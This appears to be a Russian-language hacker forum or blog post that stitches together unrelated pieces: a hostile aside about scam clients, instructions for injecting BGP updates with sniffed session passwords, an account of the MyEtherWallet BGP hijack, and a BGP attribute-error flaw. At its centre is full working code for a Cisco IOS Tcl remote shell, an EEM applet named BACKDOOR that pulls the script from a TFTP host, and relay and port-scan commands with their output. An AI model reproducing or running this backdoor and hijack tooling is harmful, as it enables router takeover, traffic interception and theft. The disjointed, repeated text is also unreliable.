И ко мне начал обращаться народ обращается разных категорий…
1. Дебильная школота, которая что-то любит повтирать про свою серьезность и просит закинуть 10.000 USDT им на Coinbase или Huobi в качестве аванса.
1. Дебильная школота, которая что-то любит повтирать про свою серьезность и просит закинуть 10.000 USDT им на Coinbase или Huobi в качестве аванса.
Не забудем присвоить себе его же IP адрес тоже. Затем попробуем подключиться к сети. О чудо, оказывается, сеть провайдера допускает как DHCP, так и Static адресацию. И, таким образом, можно наслаждаться и начинать деать вброс BGP UPDATE пакетов обновления маршрутной информации в магистральную сеть провайдера, потому как всё адреса роутеров и пароли bgp-сессии для этого уже были получены, кода мы использовали WireShark.
Один пока никому не известный специалист по процессингу btc и eth, используя протокол BGP и сценарии bgp spoofing вместе с реализацией bgp hijacking, успешно перенаправил трафик DNS-сервиса Amazon Route 53 на свой сервер в России и на несколько часов подменял настоящий сайт MyEtherWallet.com с реализацией web-кошелька криптовалюты Ethereum.
На подготовленном нарушителем клоне сайта MyEtherWallet была организована фишинг-атака, которая позволила за два часа угнать 215 ETH (около 137 тысяч долларов) на кошельки дропов.
Подстановка фиктивного маршрута была осуществлена от имени крупного американского интернет-провайдера eNet AS10297 в Колумбусе штат Огайо. После перехвата BGP-сессии и BGP-анонса все пиры eNet, среди которых такие крупнейшие операторы, как Level3, Hurricane Electric, Cogent и NTT, стали заворачивать трафик к Amazon Route 53 по заданному атакующими маршруту. Из-за фиктивного анонса BGP запросы к 5 подсетям /24 Amazon (около 1300 IP-адресов) в течение двух часов перенаправлялись на подконтрольный нарушителю сервер, размещённый в датацентре провайдера Equinix в Чикаго, на котором была организована MiTM-атака по подмене ответов DNS.
Достоверно известно, что в ходе атаки была осуществлена подмена DNS для сайта MyEtherWallet.com, тем не менее могли пострадать и другие клиенты сервиса Amazon Route 53. По мнению некоторых исследователей безопасности, получение доступа к BGP-маршрутизатору крупного ISP и наличие ресурсов для обработки огромного DNS-трафика может свидетельствовать, что атака не ограничилась только MyEtherWallet (в пользу данной гипотезы также говорит непрекращающийся поток переводов на используемый в атаке ETH-кошелёк).
По другим предположениям, имел место лишь тестовый эксперимент перед проведением более массированных атак.
Router# copy tftp://192.168.1.4/script.tcl flash://script.tcl
Router# tclsh flash://script.tcl
Router# tclsh t
ftp://192.168.1.4/script.tcl
proc callback {sock addr port} {
fconfigure $sock -translation crlf -buffering line
puts $sock "Cisco router admin console:"
puts $sock " "
puts -nonewline $sock "Router# "
flush $sock
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
flush $sock
if {[catch {gets $sock line}] ||
[eof $sock]} {
return [close $sock]
}
catch {exec $line} result
if {[catch {puts $sock $result}]} {
return [close $sock]
}
puts -nonewline $sock "Router# "
flush $sock
}
set port 2002
set sh [socket -server callback $port]
vwait var
close $sh
[ptsec@maxpatrol ~]$ telnet router 2002
Trying 192.168.1.10...
Connected to router.
Escape character is '^]'.
Cisco router admin console:
Router#
Router>en
Router#conf t
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#line vty 0 4
Router(config-line)#exec-timeout 0 0
Router(config)# event manager applet BACKDOOR
Router(config-applet)# event timer countdown name Delay time 20
Router(config-applet)# action 1.0 cli command "enable"
Router(config-applet)# action 1.1 cli command "tclsh tftp://192.168.1.4/script.tcl"
Router(config-applet)# action 1.2 syslog msg "Backdoor is executed"
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 –oe
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ie -oa192.168.1.4 -op12345
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 -oa192.168.2.1 -op80
Router>en
Router#tclsh tftp://192.168.1.4/iosmap.tcl 192.168.1.1-5 -p20-24,80,443
Loading iosmap.tcl from 192.168.1.4 (via FastEthernet0/0): !
[OK - 15912 bytes]
Loading services.list from 192.168.1.4 (via FastEthernet0/0): !
[OK - 42121 bytes]
Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC
Free Memory on Platform = 29038388 / Memory required for this scan = 2622514
Host 192.168.1.1 is unavailable
Host 192.168.1.2 is unavailable
Host 192.168.1.3 is unavailable
Interesting ports on host 192.168.1.4
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp closed ftp
22/tcp closed ssh
23/tcp closed telnet
24/tcp closed priv-mail
80/tcp open http
443/tcp closed https
Host 192.168.1.5 is unavailable
Router#
Router#show processes cpu | i Tcl
212 2284 17762 128 3.68% 2.88% 0.67% 162 Tcl Serv - tty16
Router#show tcp brief all
TCB Local Address Foreign Address (state)
659CDABC 192.168.1.10.23 192.168.1.4.5163 ESTAB
654485B4 *.2002 *.* LISTEN
65CA2D04 *.80 *.* LISTEN
Router#show control-plane host open-ports
Active internet connections (servers and established)
Prot Local Address Foreign Address Service State
tcp *:23 *:0 Telnet LISTEN
tcp *:23 192.168.1.4:1379 Telnet ESTABLIS
tcp *:80 *:0 HTTP CORE LISTEN
tcp *:1234 *:0 Tcl Serv - tty163 LISTEN
BGP (the Border Gateway Protocol)— это магистральный протокол и «клей» Интернета, который рассылает информацию о маршрутах между сетями провайдеров. Короче говоря, этот протокол, BGP, является очень важным элементом, необходимым для правильной работы глобальной сети в целом.
Программное обеспечение маршрутизаторов, реализующее BGP, не идеально, поскольку как коммерческие, так и версии с открытым исходным кодом имеют проблемы в реализации этого протокола маршрутизации.
В то время как многие недостатки незначительны и связаны с проблемами маршрутизации, рассматриваемая ошибка обработки пакета BGP вызывает особое беспокойство, так как может распространяться как компьютерный червь.
Владелец BGP[.] Бен Картрайт-Кокс обнаружил этот недостаток; Это компания, которая предлагает услуги мониторинга BGP для обнаружения и решения проблем.
2 июня 2023 года небольшая бразильская сеть повторно анонсировала маршрут с поврежденным атрибутом в пакете, что потенциально повлияло на транзитные маршрутизаторы.
Многие маршрутизаторы игнорировали этот атрибут, но маршрутизаторы Juniper принимая его, и ответ на ошибку в пакете закрывали сессии BGP, тем самым нарушая связанность своих сетей с глобальной сетью Интернет.
Кроме того, такая ошибка в пакете BGP прерывает сессию, прекращая переток клиентского трафика до тех пор, пока не будет выполнен автоматический перезапуск маршрутизатора, который обычно занимает от нескольких секунд до нескольких минут.
![]() |
Завершение сессии BGP вследствие получения пакета с ошибочным атрибутом |
Это затронуло многих операторов, таких как COLT, сбой в работе которых и привлек внимание к этой проблеме.
Каждый атрибут пакета обновления BGP начинается с флагов, включая ключевой ‘транзитивный бит’:
![]() |
Транзитивный бит в пакете обновления BGP |
Если транзитивный бит атрибута установлен, а маршрутизатор его не понимает, он копируется на другой маршрутизатор, что может привести к слепому распространению неизвестной маршрутной информации.
Завершение работы сессии BGP нарушает переток трафика между автономными системами и может распространяться как червь. В то время как атрибуты, неизвестные одной реализации, могут привести к завершению работы другой, созданный BGP UPDATE может быть нацелен на поставщика определенного оборудования и вывести сеть провайдера из строя целиком.
![]() |
Распространение ошибки в пакете BGP по сети |
Эффект от атаки сохраняется довольно долгое время, так как анонсированный маршрут всё остается в одноранговом маршрутизаторе, даже после его перезапуска, при передаче нового пакета обновлений BGP он инициирует еще один сброс сессии, что приводит к длительным простоям.
Более того, чтобы проверить, какие реализации протокола BGP подвержены этой уязвимости можно использовать простую утилиту для тестирования.
Далее приводим список поставщиков, которые не были затронуты этой уязвимостью:
Ранее было сообщено об этих уязвимостях всем подверженным ей поставщикам оборудования и программного обеспечения. После получения уведомления были получены следующие ответы от затронутых поставщиков:
Кроме того, несмотря на отсутствие ответов некоторых поставщиков оборудования, провайдеры услуг интернета сами могут принять меры по предотвращению потенциальной эксплуатации этой уязвимости.